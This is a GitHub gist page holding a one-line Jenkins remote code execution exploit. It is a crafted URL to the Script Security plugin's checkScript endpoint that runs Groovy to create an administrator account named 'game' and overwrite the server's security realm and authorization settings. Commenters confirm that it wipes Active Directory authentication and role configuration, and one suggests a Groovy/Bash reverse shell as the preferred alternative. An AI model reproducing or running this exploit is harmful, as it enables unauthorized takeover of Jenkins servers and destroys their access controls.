Skip to content

Instantly share code, notes, and snippets.

@akhil-reni
Created July 26, 2019 13:23
Show Gist options
  • Star 14 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save akhil-reni/e2116cc243af096ca3416168f49b3298 to your computer and use it in GitHub Desktop.
Save akhil-reni/e2116cc243af096ca3416168f49b3298 to your computer and use it in GitHub Desktop.
Jenkins Metaprogramming RCE Create new user
http://localhost:8080/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/?sandbox=True&value=import+jenkins.model.*%0aimport+hudson.security.*%0aclass+nice{nice(){def+instance=Jenkins.getInstance();def+hudsonRealm=new+HudsonPrivateSecurityRealm(false);hudsonRealm.createAccount("game","game");instance.setSecurityRealm(hudsonRealm);instance.save();def+strategy=new+GlobalMatrixAuthorizationStrategy();%0astrategy.add(Jenkins.ADMINISTER,'game');instance.setAuthorizationStrategy(strategy)}}
@ilatypov
Copy link

ilatypov commented Aug 1, 2019

In addition to creating a privileged account, this disabled Active Directory authentication and destroyed the role-based configuration for Active Directory groups vs. Jenkins folders.

@gquere
Copy link

gquere commented Aug 8, 2019

This will work but will also absolutely trash the whole security configuration! Use with caution!
If applicable, prefer the use of a Groovy/Bash reverse shell.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment